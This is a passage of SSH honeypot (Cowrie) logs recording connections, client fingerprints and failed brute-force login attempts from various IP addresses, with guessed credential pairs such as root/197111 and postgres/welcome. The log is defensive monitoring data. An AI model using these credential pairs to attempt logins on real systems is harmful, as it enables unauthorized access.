-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:08:42.339071Z","src_ip":"103.77.242.62","session":"f12c9b7c9b85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"197111","message":"login attempt [root/197111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:08:43.067929Z","src_ip":"103.77.242.62","session":"f12c9b7c9b85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:08:44.314215Z","src_ip":"103.77.242.62","session":"f12c9b7c9b85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.203","src_port":35898,"dst_ip":"10.17.0.5","dst_port":22,"session":"6129379f2b1a","protocol":"ssh","message":"New connection: 101.36.119.203:35898 (10.17.0.5:22) [session: 6129379f2b1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:09:13.830491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:09:13.834552Z","src_ip":"101.36.119.203","session":"6129379f2b1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:09:14.053952Z","src_ip":"101.36.119.203","session":"6129379f2b1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"welcome","message":"login attempt [postgres/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:09:14.953022Z","src_ip":"101.36.119.203","session":"6129379f2b1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:09:16.171491Z","src_ip":"101.36.119.203","session":"6129379f2b1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":49514,"dst_ip":"159.203.135.109","dst_port":22,"session":"319ee44da38e","protocol":"ssh","message":"New connection: 103.172.78.219:49514 (159.203.135.109:22) [session: 319ee44da38e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:10:22.935329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:10:22.940871Z","src_ip":"103.172.78.219","session":"319ee44da38e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:10:23.214223Z","src_ip":"103.172.78.219","session":"319ee44da38e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"62336233","message":"login attempt [root/62336233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:10:24.046542Z","src_ip":"103.172.78.219","session":"319ee44da38e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:10:25.324018Z","src_ip":"103.172.78.219","session":"319ee44da38e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":50280,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7ffc0ad15db","protocol":"ssh","message":"New connection: 89.223.69.22:50280 (10.17.0.5:22) [session: a7ffc0ad15db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:10:33.383623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:10:33.388469Z","src_ip":"89.223.69.22","session":"a7ffc0ad15db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:10:33.497949Z","src_ip":"89.223.69.22","session":"a7ffc0ad15db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"261019","message":"login attempt [root/261019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:10:33.828485Z","src_ip":"89.223.69.22","session":"a7ffc0ad15db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:10:34.940573Z","src_ip":"89.223.69.22","session":"a7ffc0ad15db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.203","src_port":46248,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe92a6828b92","protocol":"ssh","message":"New connection: 101.36.119.203:46248 (10.17.0.5:22) [session: fe92a6828b92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:10:57.228185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:10:57.232272Z","src_ip":"101.36.119.203","session":"fe92a6828b92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:10:57.446272Z","src_ip":"101.36.119.203","session":"fe92a6828b92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zimbra123","message":"login attempt [root/zimbra123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:10:58.338176Z","src_ip":"101.36.119.203","session":"fe92a6828b92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:10:59.555229Z","src_ip":"101.36.119.203","session":"fe92a6828b92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":43718,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d0080c5b78d","protocol":"ssh","message":"New connection: 194.113.233.25:43718 (10.17.0.5:22) [session: 7d0080c5b78d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:11:06.669403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:11:06.672099Z","src_ip":"194.113.233.25","session":"7d0080c5b78d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:11:06.762906Z","src_ip":"194.113.233.25","session":"7d0080c5b78d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"040892","message":"login attempt [root/040892] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:11:07.030109Z","src_ip":"194.113.233.25","session":"7d0080c5b78d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:11:08.122129Z","src_ip":"194.113.233.25","session":"7d0080c5b78d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"159.203.135.109","dst_port":22,"session":"65f97ea2307b","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (159.203.135.109:22) [session: 65f97ea2307b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:12:04.381469Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:12:04.489623Z","src_ip":"77.90.185.16","session":"65f97ea2307b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.203","src_port":38236,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bf6308d9ed4","protocol":"ssh","message":"New connection: 101.36.119.203:38236 (10.17.0.5:22) [session: 2bf6308d9ed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:12:37.700321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:12:37.704751Z","src_ip":"101.36.119.203","session":"2bf6308d9ed4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:12:37.922478Z","src_ip":"101.36.119.203","session":"2bf6308d9ed4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"test123","message":"login attempt [postgres/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:12:38.825908Z","src_ip":"101.36.119.203","session":"2bf6308d9ed4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:12:40.045374Z","src_ip":"101.36.119.203","session":"2bf6308d9ed4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":54696,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe6cdc20756b","protocol":"ssh","message":"New connection: 194.59.206.2:54696 (10.17.0.5:22) [session: fe6cdc20756b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:13:19.745132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:13:19.748665Z","src_ip":"194.59.206.2","session":"fe6cdc20756b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:13:19.837445Z","src_ip":"194.59.206.2","session":"fe6cdc20756b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:13:19.930710Z","src_ip":"194.59.206.2","session":"fe6cdc20756b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.35.142","src_port":45044,"dst_ip":"10.17.0.5","dst_port":22,"session":"1be0099af120","protocol":"ssh","message":"New connection: 162.254.35.142:45044 (10.17.0.5:22) [session: 1be0099af120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:13:29.720139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:13:29.723649Z","src_ip":"162.254.35.142","session":"1be0099af120","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:13:29.793639Z","src_ip":"162.254.35.142","session":"1be0099af120","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"michi","password":"michi123","message":"login attempt [michi/michi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:13:30.003177Z","src_ip":"162.254.35.142","session":"1be0099af120","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:13:31.076343Z","src_ip":"162.254.35.142","session":"1be0099af120","protocol":"ssh"}
